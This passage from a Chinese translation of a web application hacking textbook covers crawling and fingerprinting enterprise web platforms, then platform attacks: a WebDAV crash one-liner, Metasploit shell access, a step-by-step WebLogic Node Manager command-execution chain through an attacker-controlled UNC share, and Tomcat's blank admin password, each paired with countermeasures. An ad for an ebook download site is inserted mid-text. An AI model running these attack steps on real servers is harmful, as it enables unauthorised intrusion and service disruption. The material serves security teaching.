Sending HTTP request.
HTTP request sent; waiting for response.
Alert!: Can't retry with authorization! Contact the server's WebMaster.
Can't Access 'https://192.168.201.2/private/index.html'
Alert!: Unable to access document.
lynx: Can't access startfile
[root@meddle]# lynx -source -auth=user:pass \
> https://63.142.201.2/private/index.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 FINAL//EN">
<HTML>
<HEAD>
<TITLE>Private Intranet</TITLE>
<FRAMESET BORDER=0 FRAMESPACING=0 FRAMEBORDER=0 ROWS="129,*">
<FRAME NAME="header" SRC="./header_home.html" SCROLLING=NO
MARGINWIDTH="2" MARGINHEIGHT="1" FRAMEBORDER=NO BORDER="0" NORESIZE>
<FRAME NAME="body" SRC="./body_home.html" SCROLLING=AUTO
MARGINWIDTH=2 MARGINHEIGHT=2>
</FRAMESET>
</HEAD>
</HTML>

Wget：该工具（www.gnu.org/software/wget/wget.html）是Windows和UNIX的命令行工具，可以下载网站的内容。它的用法很简单：

[root@meddle]# wget -r www.victim.com
--18:17:30-- http://www.victim.com/
=> 'www.victim.com/index.html'
Connecting to www.victim.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 21,924 [text/html]
0K .......... .......... . 100% @ 88.84 KB/s
18:17:31 (79.00 KB/s) - 'www.victim.com/index.html' saved [21924/21924]
Loading robots.txt; please ignore errors.
--18:17:31-- http://www.victim.com/robots.txt
=> 'www.victim.com/robots.txt'
Connecting to www.victim.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 458 [text/html]
0K 100% @ 22.36 KB/s
...(continues for entire site)...

-r或--recursive选项命令wget跟踪主页上的每个链接。这将创建www.victim.com目录并且用wget在网站上找到的每个HTML文件和目录进行填充。Wget的主要优点是跟踪每个可能的链接。因此，它将下载应用传递给页面的每个参数的输出。例如，网站的viewer.asp可能被下载4次：

·viewer.asp@ID=555

·viewer.asp@ID=7

·viewer.asp@ID=42

·viewer.asp@ID=23

@符号代表原始URL中的？分隔符。ID是传递给viewer.asp文件的第一个自变量（参数）。有些网站可能需要更高级的选项，如代理和HTTP基本验证支持。基本验证所保护的网站可以这样进行爬行：

[root@meddle]# wget -r --http-user:dwayne --http-pass:woodelf \>
https://www.victim.com/secure/
--20:19:11-- https://www.victim.com/secure/
=> 'www.victim.com/secure/index.html'
Connecting to www.victim.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 251 [text/html]
0K 100% @ 21.19 KB/s
...continues for entire site...

Wget只有一个用途：从网站上读取文件。结果的筛选需要其他UNIX系统或者Windows Cygwin上简单的命令行工具。

Burp Suite Spider： Burp Suite是一组攻击工具，包含映射应用的一个实用程序。不需要手工跟踪链接、提交表单和解析响应，Burp Spider自动地收集这些信息，帮助识别Web应用中可能存在的脆弱功能。将需要爬行的网站添加到当前目标范围，然后简单地启用Spider功能之后使用Burp代理浏览应用。进一步的选项可以通过Options选项卡配置。

Teleport Pro：当然，对于Windows用户来说总是有一些GUI。Teleport Pro（www.tenmax.com/teleport/pro/home.htm）为Wget的功能增加了图形界面，并且增加了收集信息的筛选工具。

使用Teleport Pro，你可以指定从一个URL的任何部分开始爬行，控制索引的文件深度和类型，并且在本地保存副本。这个工具的主要缺点是它将网站镜像为Teleport Pro项目文件。这种TPP文件无法使用grep之类的工具搜索。Teleport Pro如图2-8所示。

Black Widow： Black Widow扩展了Teleport Pro的功能，提供搜索和收集特定信息的界面。Black Widow的其他好处是能够下载文件到硬盘上的一个目录中。这个目录对于grep和findstr这类工具来更友好。Black Widow如图2-9所示。

Offline Explorer Pro： Offline Explorer Pro是一个商业Win32应用，允许攻击者下载不限数量的Web和FTP网站，以供之后的离线查看、编辑和浏览。它还支持HTTPS和多种验证协议，包括NTLM（只要在给定项目的File|Properties|Advanced|Passwords下的验证配置页中使用域名\用户名语法）。我们在本书会始终讨论Offline Explorer Pro，因为它是我们最喜爱的自动化爬行工具之一。

图2-8　Teleport Pro的许多选项

图2-9　Black Widow将网站内容镜像到本地硬盘

2.2.4　常见Web应用剖析

我们已经介绍了许多Web应用剖析技术，从手工检查到使用互联网搜索引擎（如Google），再到自动化的爬行方法。让我们将这些技术综合应用到一些常见的现有企业应用中，以阐述如何使用这些简单的方法来认识这些应用。

Oracle Application Server

大部分Oracle应用包含一个主要的子文件夹/pls/。这是应用中所有东西都要附加的。这个文件夹实际上是Oracle的PL/SQL模块，所有跟在它后面的都是调用参数。为了帮助你理解，看看这个Oracle应用的URL：

http://site.com/pls/Index/CATALOG.PROGRAM_TEXT_RPT?p_arg_names=prog_nbr&p_arg_values=39.001

在这个示例中，/pls/是PL/SQL网关；/Index/是数据库访问描述符；CATALOG.是一个包含PROGRAM_TEXT_RPT过程中的PL/SQL包，这个进程接受URL剩余部分的参数。

检测一个Oracle服务器一般非常容易，因为www.site.com/pls/目录绝对露出马脚。而且，Oracle用完整词语命名脚本和PL/SQL（如somename.someothername）的惯例是另一个能够说明问题的标志。Oracle名称全是大写字母也是常见的，如NAME.SOMENAME。许多Oracle名称还以一个过程如.show或URL结束，如：

http://www.site.com/cs/Lookup/Main.show?id=4592

当你看到这种结构类型，就很可能是一个Oracle应用。

BroadVision

下面是一个BroadVision URL的示例。我们已经在这个例子中放进了表示某些关键特性的粗体数字。

http://www.site.com/bvsn/bvcom/ep/programView.(2)do?(3)pageTypeId=8155&programPage=/jsp/www/content/generalContentBody.jsp&programId=8287&channelId=-8246&(1)BV_SessionID=NNNN1053790113.1124917482NNNN&BV_EngineID=cccdaddehfhhlejcefecefedghhdfjl.0

1.最致命的特征是参数名称：BV_SessionID和BV_EngineID。如果你在URL中看到这些名称，就抓住了一个BroadVision应用。还有比这更简单的吗？

2.BroadVision应用通常具有.do脚本扩展名。

3.大部分BroadVision应用的参数名倾向于以xxxxId=nnnn结束。查看URL，你会注意到三个这样命名的参数（（pageTypeId=8155、programId=8287、channelId=-8246）。这种命名方案的独特之处在于ID拼写作大写的I和小写的d，而且值通常包含4个或更多数字。这是在没有明显线索的情况下检测BroadVision的好办法。

下面是另一个BroadVision URL示例：

http://www.site.com/store/stores/Main.jsp?pagetype=careers&template=Careers.jsp&categoryOId=-8247&catId=-8247&subCatOId=-8320&subtemplate=Content.jsp

乍一看，就发现存在BroadVision，因为ID中的小写d和熟悉的4位以上数字。另一个有用的线索是：它们都是负数，你在许多BroadVision应用中会看到。

PeopleSoft

下面是一个PeopleSoft URL示例。我们同样在示例中放入粗体数字表示某些关键特性。

http://www.site.com/psp/hrprd/(3)EMPLOYEE/HRMS/c/ROLE_APPLICANT.ER_APPLICANT_HOME(1).GBL?(2)NAVSTACK=Clear

1.文件扩展名明显泄密：.GBL扩展名存在于大部分运行PeopleSoft网站的URL中。

2.NAVSTACK=也相当常见于大部分PeopleSoft安装中。但是要小心！许多PeopleSoft安装没有这个参数。

3.PeopleSoft中的文件夹和文件名称常常是全大写的。

另一个泄露PeopleSoft的项目是cookie。PeopleSoft通常设置下列cookie：

PORTAL-PSJSESSIONID=DMsdZJqswzuIRu4n;
PS_
TOKEN=AAAAqwECAwQAAQAAAAACvAAAAAAAAAAsAARTaGRyAgBOdwgAOAAuADEAMBR
dSiXq1mqzlHTJ9ua5ijzbhrj7eQAAAGsABVNkYXRhX3icHYlbCkBQFEWXRz4MwRzo
dvMaAPElmYDkS0k+FIMzONs9q7PatYDb84MQD53//
k5oebiYWTjFzsaqfXBFSgNdTM/EqG9yLEYUpHItW3K3KzLXfheycZSqJR97+g5L;
PS_TOKENEXPIRE=24_Aug_2005_17:25:08_GMT;
PS_LOGINLIST=http://www.site.com/hrprd;

你一般会在大部分PeopleSoft应用中看到PORTAL-PSJSESSIONID cookie。其他三个cookie要少见得多。在大部分情况下，你会发现检测PeopleSoft安装很容易，因为在URL中明显能认出PeopleSoft。但是你不要只依赖URL来定位PeopleSoft，许多时候开发人员对应用进行了大量的自定义，从而使检测实际运行的应用变得很困难。所以我们将花费一些时间讨论PeopleSoft应用的表现和外观。随着处理Web应用的经验增加，你会变得越来越容易通过应用的行为和“观感”来识别应用。让我们来经历一个根据观感对应用进行指纹识别的示例吧。

和许多应用一样，PeopleSoft的操作与众不同。大部分PeopleSoft应用在左边有一个菜单，右边则有一个大的框架。点击左边的菜单时——它们一般表示URL；你将会看到URL随着点击而变化——页面将在右边装入。右边页面的内容通常使用大量的JavaScript编写。每个链接和按钮一般启动某种JavaScript操作。这就是为什么当你在这些链接上悬停时，会经常看到大量的“javascript:”链接，执行提交命令或者打开新窗口。这是你能很快定位PeopleSoft应用的原因之一。

因为大部分Web应用服务器都是高度可定制的，不对URL或者技术规范进行研究而辨别服务器的类型是很困难的。但是你可以找到一些细微之处，帮助指出所运行的应用。例如，PeopleSoft应用是高度可定制的，所以可能很难通过URL或者查询发现等标准剖析方法分辨出一个PeopleSoft应用。但是大部分PeopleSoft应用很容易由所使用的界面组件区分出来。例如，在下面两个屏幕截图中，你能看到众所周知的PeopleSoft应用的菜单和标准登录屏幕：

下面展示的一个疑似PeopleSoft应用的屏幕截图，这个URL没有给出任何常见PeopleSoft参数结构的迹象（https://www.site.com/n/signon.html）：

将这个屏幕截图的观感与上面的已知PeopleSoft菜单作比较。注意这些菜单。PeopleSoft的菜单常常非常一致，几乎和Xwindows一样。它们的所有项目之前通常由一个“-”。注意菜单字体、大小和颜色都相同。还要注意Continue按钮的颜色和形状。

你是否看到按钮的颜色和外观都相同？我们通过这个就可以检测到运行的是一个PeopleSoft应用。另一个示例是Lotus Domino，Lotus大量使用有确定观感的可折叠树形。例如，它们可能有指向侧面或者下面的箭头，用于关闭和打开树形。如果我们看到网站上有这种树形表现，就可能是使用Domino的线索。

Lotus Domino

现在你应该很好地理解了如何快速选择URL中的区域以识别运行的应用。让我们来看看如何确定是否使用Lotus Domino。

下面是一个Lotus Domino URL示例。我们仍然在示例中放入粗体数字表示关键的特性：

http://www.site.com/realtor(1).nsf/pages/MeetingsSpeakers(2)?OpenDocument

http://www.site.com/DLE/rap.nsf/files/InstructionsforRequestForm/$file/InstructionsforRequestForm.doc

http://www.site.com/global/anyzh/dand.nsf!OpenDatabase&db=/global/gad/gad02173.nsf&v=10E6&e=us&m=100A&c=7A98EB444439E608C1256D630055064E

1.常见的扩展名是.nsf。注意扩展名是.nsf但是这个文件之后看上去像文件夹的部分实际上是参数。realtor.nsf是唯一的文件，之后是这个文件的参数。

2.OpenDocument是Lotus操作；还有许多其他的操作。

Web Sphere

下面是一个WebSphere URL示例。我们仍然在示例中放入粗体数字表示关键的特性：

http://www.site.com/webapp/commerce/command/(1)ExecMacro/site/macros/proddisp.(2)d2w/(3)report?prrfnbr=3928&prmenbr=991&CATE=&grupo=

1.查找路径中的这些关键字：/ExecMacro/、/ncommerce3/和/Macro/。

2.查找扩展名.d2w。

3.WebSphere总是有/report?参数。

WebSphere通常有类似下面这种形式的cookie：

SESSION_ID=28068215,VzdMyHgX2ZC7VyJcXvpfcLmELUhRHYdM91
+BbJJYZbAt K7RxtllNpyowkUAtcTOm;

2.3　一般对策

我们已经看到，剖析Web应用的大部分过程利用了应用设计者计划的功能——毕竟，他们希望你快速和简单地浏览网站。但是，我们也看到，由于一些常见的网站设计方法和错误的配置，网站内容和功能的许多方面不恰当地泄露给了匿名的用户。这一节将详细地讨论设计者可以用于避免泄露的步骤。

2.3.1　警告

在看到Web应用常常泄露的信息之后，你可能想要删除网站的大量内容和功能。我们建议克制，换句话说“小心你的斧头”。Web管理员的目标是尽可能保证Web服务器的安全。大部分信息泄露可以通过强有力的配置和最小权限访问策略在服务器级别上阻止。其他方法需要编程人员的行动。记住，Web应用设计用来向用户提供信息。仅仅因为用户能够下载应用的local.js文件并不意味着应用的设计很拙劣；但是，如果local.js文件包含了应用数据库的用户名和密码，那么系统将会被破坏。

2.3.2　保护目录

我们在本章中已经多次看到，目录是对抗窥探性的剖析的第一条防线。有多种技巧能够对目录保密。

Location首部

你可以在重定向中限制Location首部的内容，这样它就不会显示Web服务器的IP地址，这个地址可能指引攻击者找到错误配置或者有漏洞的单独服务器。

默认情况下，IIS返回其IP地址。为了返回完全限定域名，你必须修改IIS元数据库。Adsutil.vbs脚本默认安装在Windows系统上的Inetpub\adminscripts目录：

D:\Inetpub\adminscripts\adsutil.vbs set w3svc/UseHostName True
D:\Inetpub\adminscripts\net start w3svc

Apache能够阻止目录枚举。在编译期间删除mod_dir模块，这种修改很简单：

[root@meddle apache_1.3.23]# ./configure --disable-module
=dirConfiguring for Apache, Version 1.3.23

目录结构和安排

下面是关于Web目录安全的其他一些技巧：

·不同的user/administrator根目录：为用户和管理员界面使用不同的Web文档根目录，如下一页所示。这能够减轻针对应用功能的源代码泄露攻击和目录遍历攻击：

/main/ maps to D:\IPub\pubroot\
/admin/ maps to E:\IPub\admroot\

·IIS：将InetPub目录放置在与系统根目录不同的卷上，例如在C:\WINNT系统上的D:\InetPub。这避免目录遍历攻击延伸到\WINNT\repair\sam和\WINNT\System32\cmd.exe这些敏感文件。

·UNIX Web服务器：在chroot环境中放置目录。这能减缓目录遍历攻击的影响。

2.3.3　保护包含文件

对于各种类型的包含文件，最好的保护是确保它们不包含密码。这似乎没什么意义，但是任何时候只要有一个密码以明文形式存在于文件中，这个密码就可能受到侵害。在IIS上，你可以将包含文件的常用文件扩展名（.inc）改为.asp，或者将.inc扩展名重新映射到ASP引擎。这种修改将导致它们在服务器端处理，避免源代码在客户浏览器上显示。默认情况下，.inc文件在浏览器中被显示为文本。记住，修改其他脚本或内容中的首选项为改名后的包含文件。

2.3.4　其他技巧

下面的技巧将帮助你的Web应用对抗本章中描述的调查技术：

·将所有JavaScript文件整理到一个目录。确保该目录和其中的任何文件没有“执行”权限（也就是说，它们只能被Web服务器读取，不能作为脚本执行）。

·对于IIS，将.inc、.js、.xsl和其他包含文件打包在一个COM对象中，放置到Web根目录之外。

·剥离开发人员注释。应该存在一个不面对互联网的测试环境，在这里代码中可以保留用于调试的开发人员注释。

·如果文件必须调用Web服务器上的其他文件，那么使用与Web根目录或者当前目录相对的路径名。不要使用包含驱动器号或者Web文档根目录之外目录的完整路径名。此外，脚本本身应该去掉目录遍历字符（../../）。

·如果网站需要验证，确保验证应用到整个目录及其子目录。如果匿名用户不应该访问ASP文件，那么他们也不应该能够访问XSL文件。

2.4　小结

任何方法论中的第一步常常是最关键的，剖析也不例外。本章阐述了剖析一个Web应用的过程，以及从恶意攻击者的角度看到的相关基础架构。

首先，我们讨论了所有应用相关基础架构的识别，应用运行的服务以及相关的服务标志。这些是我们在本书余下部分勾画的图景中的第一笔。

接下来，我们介绍了分类网站结构、内容、功能的过程，为本书描述的Web应用安全评估方法论的所有后续步骤打下基础。坚持全面地运用这里讨论的技术，以便确保目标应用的所有方面都得以识别是关键的。我们描述的许多技术需要根据目标应用的独特性略作修改，和往常一样，调查者明智的归纳将得到更完整的结果。尽管调查应用的大部分过程涉及对输出资源的有效请求，但是我们注意到许多常见的做法和错误配置可能允许匿名客户获得超过他们所应得到的信息。

最后，我们讨论了这些做法和错误配置的一些对策，帮助避免攻击者获得完全侵入的第一个有价值的立足点。

现在，认识了Web服务器软件的类型和型号，机智的入侵者要做的第一件事是利用明显的漏洞，这往往是在剖析过程中发现的。我们将在第3章中介绍Web平台入侵所用的工具和技术。也许，有了详细的Web应用剖析信息，攻击者可以试图使用第4章到第9章中讨论的技术开始攻击应用。

2.5　参考与延伸阅读

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

第3章　Web平台入侵

Web应用中入侵者首先要利用的最突出组件是Web平台中的漏洞。Web平台由位于主操作系统之上、定制应用逻辑之下的通用（不一定是商用的！）现成（COTS）软件组成。Web平台通常包含：

·Web服务器软件（例如IIS或者Apache）

·Web服务器扩展，例如ISAPI过滤器及扩展或者Apache模块

·动态执行环境如ASP.NET、PHP和J2EE（也称为应用服务器）

·服务和守护进程，例如用户论坛或者Web留言板软件包

与Web平台的定义相比较，我们认为应用层组件是COTS之外，对特定网站或者应用来说独一无二的所有组件。例如，Google的搜索引擎逻辑可以看作一个应用层组件。

在本章中，我们还将聚焦于错误配置之外的软件缺陷。我们已经将读者的注意力集中到两类不同的Web平台漏洞上：网站管理员和开发人员能够直接修复的问题，以及那些必须依赖软件供应商帮助，通过软件版本更新和补丁修复的问题。我们将在第8章中讨论错误配置的漏洞。最后一次澄清范围：本章将关注Web平台攻击基本要点和对策，主要使用小规模的工具和技术。对使用Web安全漏洞扫描程序进行的大规模自动化Web安全评估将在第10章中讨论。

历史上，Web服务器软件漏洞是攻击网站的最简易手段，但是最近许多流行的Web服务器软件开发团队变得更加注意安全，这主要是因为他们的产品在多年来已经受到了黑客极大的打击。Microsoft的IIS是这方面的楷模。尽管IIS版本4和5经常发现严重的漏洞，但是更新的版本已经相对不受影响，这主要归功于IIS开发过程中对安全的关注。

当然，这并不意味着你可以忽略Web平台漏洞。我们见过在超过10000台服务器的服务器场中的6个脆弱的Web服务器在几天内导致整个企业网络泄密的情况。更糟糕的是，正如我们在本章将要说明的，黑客社区持续发展他们的工具集，使得识别和利用这些缺陷更加容易。

本章将描述如何查找、利用和防御最流行的Web平台上常见的安全性漏洞。我们的讨论将组织为：

·点击攻击

·手工攻击

·躲避技术

和往常一样，我们将以应对这些攻击的常见对策和安全最佳实践作为结束。

3.1　用Metasploit进行点击攻击

Metasploit Framework是一个开放源码平台，用于开发、测试和启动攻击代码。这个平台很容易利用遍及全球的人们提供的可插入攻击模块扩展，这些扩展原来都是“仅用于合法渗透测试和研究目的。”根据Metasploit网站所称，Metasploit提供所有类型的漏洞（包括Web平台漏洞）的利用。对商业支持工具感兴趣的人，可以试试Rapid7的Metasploit Express、Core Security Technologies的CORE IMPACT或者Immunity的CANVAS。关于Metasploit、CORE IMPACT和CANVAS的进一步信息，请参见本章结尾处的“参考和延伸阅读”。

为了理解Metasploit提供的易用性，我们将首先在不使用这个框架的情况下，逐步介绍以老式方法利用常见的Web平台软件缺陷的示例。在第2章中你已经看到，发现Web服务器的类型和型号相当简单。研究识别出的服务器软件的已公布漏洞也是一样。举个例子，Sun Java System Web Server最近的一个漏洞，在“常见漏洞和披露”CVE-2010-0361中作了描述。攻击者所要做的是领会触发这一漏洞的途径。对此，我们引用Evgeny Legerov原创的报告并且试图重新创建原始攻击：

curl -X OPTIONS -O 'http://vulnerable.example.com/webdav/''perl -e
'print "A" x 500''

这种简单的DoS风格攻击导致远程服务器崩溃。正如你亲眼所见，利用已知的漏洞使服务器崩溃相当简单，不需要太多的精力。但是，试图领会如何利用该问题达到任意代码执行就需要更多的工作了。但是在我们的即时满足文化中，调试、分析和制作可用攻击程序的过程太繁琐了。说实话，我们很懒惰而且还有书要写。所以我们希望有简单的方法，谢天谢地，有一些能够自动化整个过程的应用。

我们现在用Metasploit框架来完成同样的示例，展示这个工具的能力和效率（即使在技能并不熟练的人手中）。我们首先获取这个框架的分发版本，安装，5分钟内我们就准备好了预先打包的攻击程序。Metasploit甚至展示了一个敏捷的安装向导。多么方便啊——而人们还认为入侵是件艰苦的工作。安装好以后，Metasploit可以通过命令行或者Web界面访问。因为我们是Web应用的狂热爱好者，所以演示中使用Web GUI。

启动Metasploit之后，我们看到了它所支持的攻击列表，如图3-1所示。我们找到Java System Web Server WebDAV溢出攻击并选中。Metasploit显示一个帮助屏幕，提供该漏洞的描述和参考。在图3-2显示的屏幕中，我们选择目标运行的系统类型。之前进行的研究告诉我们这个Web服务器运行Windows x86，于是我们选择这个版本。

选择目标之后，Metasploit显示下一个屏幕，让我们选择传递给服务器的一些载荷。对于这种进攻，简单的远程Shell是个好选择。点击Exploit按钮之后，Metasploit显示载荷传递的成功状态，我们得到了远程服务器的控制台访问权，如图3-3所示。

看看这有多容易！现在有趣的地方在哪里？

图3-1　用Metasploit“选择你的攻击”

图3-2　Metasploit让入侵变得很容易

图3-3　攻击成功

3.2　手工攻击

我们之所以先向你展示容易的方法是因为这是大部分攻击的执行方式（因为最恶意的入侵是沿着最小阻力的路径前进的）。

但是，更加高级的攻击者可能花费更多的时间和精力来击垮Web服务器，所以我们在这个小节里花一些时间来阐述一些更精细的手工攻击点。这个示例中最需要注意的是，和Metasploit示例不同，识别和将来利用漏洞都需要更多时间和技能。记住一点：你运行的Web平台没有受到Metasploit这样的项目的大量关注，并不意味着你的漏洞较少！

Oracle WebLogic Node Manager远程命令执行

2010年5月，WebLogic Node Manager服务中发现了一个漏洞，这个漏洞最终允许在WebLogic服务器上执行任意命令。WebLogic是Oracle的流行J2EE平台。

WebLogic Node Manager是用于启动和停止WebLogic服务器实例的管理服务。它使用简单的基于文本网络协议与客户通信，默认情况下，在TCP端口5556上使用SSL封装数据流。这个协议语法简单，因此使用netcat、OpenSSL或NCat等工具与Node Manager服务通信很容易：

$ ncat --ssl 192.168.237.128 5556
HELLO
+OK Node manager v10.3 started

可以看到我们连接到192.168.237.128的Node Manager服务，并且发出HELLO服务。该服务发送给我们一个成功代码以及服务版本10.3作为响应。有些人称此为一个Bug；有些人称之为一种特性。不管怎么说，服务将版本号泄露给未授权的远端用户，这在你制定攻击计划时是有用的。

Node Manager协议要求除了HELLO之外的大部分命令必须指定一个有效的WebLogic域。Oracle对WebLogic域的定义为：

WebLogic服务器实例的基本管理单位。域由一个或多个用同一管理服务器管理的WebLogic服务器实例（及其相关资源）组成。

指定WebLogic域名之后，Node Manager要求使用USER和PASS命令进行验证。这就避免了未授权用户调用危险的Node Manager命令，如用来执行用户所指定程序或者脚本的EXECSCRIPT。用户指定的脚本可以是当前选定WebLogic域的工作目录中的任何可执行文件。

我们将重建一系列幕后的行动，让你看到Web平台漏洞研究基本思路的一个例子，这些行动用来发现Node Manager中DOMAIN、USER和PASS命令实现中的缺陷，最终导致利用这些漏洞入侵WebLogic服务器的。

提示　研究一个漏洞时，注意开发一次攻击中可以提供额外影响的行为或者功能。将多个问题串连起来建立一个有效的攻击常常是必要的。

研究漏洞的第一步是研究负责处理Node Manager命令的WebLogic 10.3.3应用源代码。为了研究WebLogic代码，我们首先必须进行反汇编。因为WebLogic中的许多组件以Java编写，反汇编是件简单的工作。有许多Java反汇编程序——这次研究中使用的是jad（Java Disassembler）。jad是免费的，可以运行在各种操作系统上（jad的链接参见本章末尾的“参考与延伸阅读”小节）。其他类型的二进制文件比Java更难反汇编，当然也就需要更复杂的分析技术（例如二进制文件差分和修补）。但是攻击开发中这一步的目标对任何二进制文件都是一样的：确定尽可能靠近源代码的漏洞根源。

WebLogic类文件存储在WebLogic安装程序中一个叫做weblogic.jar的Java档案文件中。Java档案实际上就是带有.jar扩展名的ZIP文件，所以可以用大部分流行的解压工具提取其内容。

前面提到过，EXECSCRIPT是Node Manager输出的强大管理命令。本能地，我们在解压后的类文件中搜索“EXECSCRIPT”字符串，直奔要点。下面的文件就是反汇编的目标：

$ egrep -r EXECSCRIPT *
Binary file weblogic/nodemanager/common/Command.class matches
Binary file weblogic/nodemanager/server/Handler.class matches
Binary file weblogic/nodemanager/client/NMServerClient.class matches
Binary file weblogic/nodemanager/client/ShellClient.class matches
Binary file weblogic/nodemanager/client/NMClientTool.class matches

对每个文件进行额外的挖掘之后，我们确定Handler.class实现EXECSCRIPT和其他所有Node Manager命令。用jad反汇编Handler.class，我们可以看到原始的Java源代码。分析表明，Node Manager将用户提供的命令与一个有效命令的列表进行比较，这里有一个重要的例外：DOMAIN命令调用另一个例程handleDomain()进行处理。对源代码的进一步分析指出，DOMAIN命令接受两个参数：第一个参数是Node Manager客户希望工作的WebLogic域名。第二个参数用于指定于配置文件所在的目录。handleDomain()方法将这两个参数传递给getDomainManager()，getDomainManager()创建一个DomainManager类实例；以下是源代码的节选：

Map map = config.getDomainsMap();
if(s1 == null)
{
    s1 = (String)map.get(s);
    if(s1 == null)
    {
        for(Iterator iterator = domains.values().iterator(); iterator.hasNext();)
        {
            DomainManager domainmanager = (DomainManager)iterator.next();
            if(domainmanager.getDomainName().equals(s))
            {
                domainmanager.checkFileStamps();
                return domainmanager;
            }
        }
        s1 = config.getWeblogicHome();
    }
}
s1 = (new File(s1)).getCanonicalPath();

仔细查看这段代码，我们发现如果用户没有在第二个参数中指定工作目录，getDomainManager()试图通过搜索与用户指定域名匹配的域的WebLogic配置，查找正确的目录；如果找到，就设置相应的工作目录。否则，就抛出一个错误，DOMAIN命令失败。

这很好，但是如果用户指定了工作目录又会发生什么？WebLogic接受用户提供的值并且用作当前Node Manager会话的工作目录！这意味着用户能够控制WebLogic读取域配置文件的位置。结果是，可以指定完全限定路径、包括UNC路径作为Node Manager工作目录。考虑下面的示例：

DOMAIN my_domain \\192.168.237.1\c$
-ERR I/O error while reading domain directory

这里我们告诉WebLogic，工作目录是192.168.237.1上的Windows共享目录C$。WebLogic试图从这个共享目录上装入域配置文件，但是因为那里没有配置文件而失败。我们可以检查Node Manager日志文件来验证，日志中揭示了如下信息：

<WARNING> <I/O error while reading domain directory>
java.io.FileNotFoundException: Domain directory '\\192.168.237.1\c$' invalid
(domain salt file not found)

为了使Node Manager接受我们的UNC路径，相信它是WebLogic域的有效位置，我们必须在这个共享目录上复制正确的配置文件和目录结构。在这么做之前，必须知道要复制的文件。为了确定这一情况，我们使用SysInternals的Process Monitor工具，这个工具能监控Node Manager处理DOMAIN命令时的所有文件读/写操作。如图3-4所示，Process Monitor显示Node Manager试图从远程共享目录上读取的文件名。

图3-4　Process Monitor显示丢失的Node Manager文件

从现有的Node Manager安装复制有效的Node Manager配置文件并将其放置在远程共享目录上，我们就能使Node Manager接受我们的UNC路径，作为有效的工作目录。复制这些文件后，我们再次强制使用UNC路径：

DOMAIN my_domain \\192.168.237.1\c$
+OK Current domain set to 'my_domain'

成功了！设置了域之后，我们必须验证。但是如何获取有效的凭证呢？答案是，我们不需要有凭证。WebLogic不在一个中心位置，而是在域配置目录中的一个文件nm_password.properties存储域凭证。我们可以控制域配置目录，只要从我们控制的域（已经为之创建了用户和密码）中复制nm_password.properties到UNC共享中就可以了。之后，可以使用USER和PASS命令向Node Manager验证：

DOMAIN base_domain \\192.168.237.1\c$
+OK Current domain set to 'base_domain'
USER weblogic
+OK NM usr set to 'weblogic'
PASS w3bl0g1c
+OK Password accepted

验证之后，创建一个恶意脚本，将其复制到UNC共享，调用EXECSCRIPT执行它都是简单的事情了。为了测试，我们创建一个有以下内容的批文件runme.bat：

@echo off
echo Hacking Exposed - Web Applications

根据前面的Process Monitor分析，Node Manager预期所有可执行文件都在bin\service_migration目录下，所以我们将批文件存储在那里。现在可以调用EXECSCRIPT命令运行这个批文件：

EXECSCRIPT runme.bat
+OK Script 'runme.bat' executed

成功！为了复核这个批文件确实执行，我们检查Node Manager日志文件：

May 19, 2010 4:56:31 PM weblogic.nodemanager.server.NMHelper$Drainer run
WARNING: '\\192.168.237.1\c$\bin\service_migration'
<May 19, 2010 4:56:31 PM> <WARNING> <CMD.EXE was started with the above path
as the current directory.>
<INFO> <Hacking Exposed - Web Applications>

最后一行显示文本“Hacking Exposed-Web Applications”，确认runme.bat运行。这样，我们已经展示了多种实现缺陷是如何串联起来，创建可以用于在WebLogic Node Manager服务器上执行任何命令的毁灭性漏洞的。

Oracle WebLogic Node Manager远程命令执行对策

为了阻止攻击者利用这个漏洞，WebLogic服务器应该禁用Node Manager，或者设置防火墙，仅允许来自中央管理系统的连接。Oracle已经发布了一个补丁来处理这个问题。应该尽快测试这个补丁并部署到受影响的系统上。

Apache Tomcat默认空白管理员密码

Apache Tomcat Server是流行的Java Servlet和Java Server Pages实现，在Windows平台上，默认情况下管理用户使用空白密码。在UNIX上，默认不创建任何管理用户；用户必须在安装之后手工添加。这种表现可能使Tomcat部署容易遭到管理级的入侵。

为了阐明攻击者如何找到这样的服务器，我们在192.168.1.80主机上安装了Tomcat 6.0.0。为了举例，我们假定默认的管理URL http://192.168.1.80:8080/admin未作更改。可以使用一个Web浏览器查看管理页面，因为8080是常用的HTTP端口：

看到Tomcat的登录页面，我们试图用空白密码登录为管理员：

登录成功！这可能是一个Windows Tomcat安装，除非有人在UNIX系统上手工地添加一个有空白密码的admin用户。

Apache Tomcat默认空白管理员密码对策

Apache Foundation已经发行了Tomcat的修复版本，在安装程序中处理这一问题。部署Tomcat时，确保安装最新的版本。如果需要旧版的Tomcat，要在隔离的主机上安装，并且更新$CATALINA_BASE/conf/tomcat-users.xml文件，删除admin用户或者明确设置一个密码。

PEAR/PHP XML-RPC代码执行

2005年7月，PEAR/PHP XML-RPC中发现了一个漏洞，允许远程PHP代码执行。这种攻击有非常深远的影响，因为许多流行的免费应用将PEAR/PHP XML-RPC作为它们的Web服务程序库。这些应用包括PostNuke、Drupal、b2evolution和TikiWiki。实际上，2005年11月发行的一个蠕虫利用了这一攻击方法（以及其他），对于这么普遍的漏洞，这种情况总会出现。这个蠕虫根据恶意软件供应商的不同，称作Lupper或者Plupii。

这种攻击的工作原理是：在XML解析引擎中，有一个eval()调用嵌入来自外部XML请求的用户输入，使攻击者能够制作一个简单的XML请求，嵌入一个脱离eval()语句并搭载PHP代码的攻击字符串。这种攻击类似于SQL注入或者XSS之类攻击方法，攻击字符串必须转换以匹配周围的代码才能够正确执行。我们来更仔细地看看这种攻击的工作原理。

在下面的例子中，我们将经历对一个有漏洞的PhpAdsNew版本进行攻击，这个版本使用PHP XML-RPC。PhpAdsNew使用名为adxmlrpc.php的文件来接受Web服务请求，然后依次调用XML-RPC程序库来处理这些请求。接下来展示的实际攻击相当简单。这次攻击包含在“name”域中，由结束原有引号和传入一个执行目录列表的PHP命令组成（以粗体显示）。

注意　adxmlrpc.php脚本只是脆弱的XML-RPC程序库的一个网关。在其他脆弱的应用中，攻击主体相同，但是脚本被换成应用用于处理XML请求的任意脚本。

